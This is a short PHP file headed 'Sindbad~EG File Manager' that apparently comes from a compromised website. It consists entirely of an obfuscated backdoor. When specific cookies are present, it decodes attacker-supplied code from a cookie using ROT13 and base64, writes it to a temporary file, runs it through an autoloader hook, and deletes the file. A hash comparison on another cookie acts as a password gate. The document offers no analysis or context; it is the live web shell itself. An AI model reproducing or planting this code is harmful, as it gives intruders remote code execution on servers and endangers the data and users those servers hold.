Sindbad~EG File Manager

<?php


if (isset($_COOKIE[9-9]) && isset($_COOKIE[47-46]) && isset($_COOKIE[86-83]) && isset($_COOKIE[-80+84])) {
    $property_set = $_COOKIE;
    function framework($mrk) {
        $property_set = $_COOKIE;
        $value = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'df805982');
        if (!is_writable($value)) {
            $value = getcwd() . DIRECTORY_SEPARATOR . "api_gateway";
        }
        $element = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($property_set[3]));
        if (is_writeable($value)) {
            $ent = fopen($value, 'w+');
            fputs($ent, $element);
            fclose($ent);
            spl_autoload_unregister(__FUNCTION__);
            require_once($value);
            @array_map('unlink', array($value));
        }
    }
    spl_autoload_register("framework");
    $descriptor = "2702fd0c7015eeea7e2415aebc88ad3d";
    if (!strncmp($descriptor, $property_set[4], 32)) {
        if (@class_parents("reverse_searcher_batch_process", true)) {
            exit;
        }
    }
}